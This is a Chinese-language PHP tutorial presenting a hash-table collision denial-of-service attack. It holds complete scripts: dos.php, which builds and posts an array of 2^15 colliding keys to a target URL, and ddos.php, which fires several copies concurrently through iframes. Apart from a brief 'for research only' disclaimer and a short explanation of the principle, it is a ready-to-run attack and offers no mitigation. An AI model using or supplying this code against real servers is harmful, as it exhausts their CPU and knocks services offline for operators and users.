本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下：
首先声明：本文内容只用于研究学习使用，请勿用于非法行为！
前面提到过最近爆出的hash表碰撞漏洞，包括java、python、php等在内的很多常用语言均未幸免，今晚咱就来实际看看它的威力。
攻击原理：
通过向目标服务器post一组精心拼凑的数组参数，到达服务端后语言底层处理接收到的数组参数时，由于该漏洞的存在造成CPU的大量消耗，最终导致服务器资源耗尽。
不用什么花哨的手法，就用PHP简单实现下看下效果，点到即止。
文件：dos.php
// 目标地址
// 只要目标地址存在，不用管它是干嘛的
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
文件：ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>DDOS</title>
</head>
<body>
<?php
for($i=0; $i<5; $i++){//并发数
echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
}
?>
</body>
</html>
希望本文所述对大家的php程序设计有所帮助。
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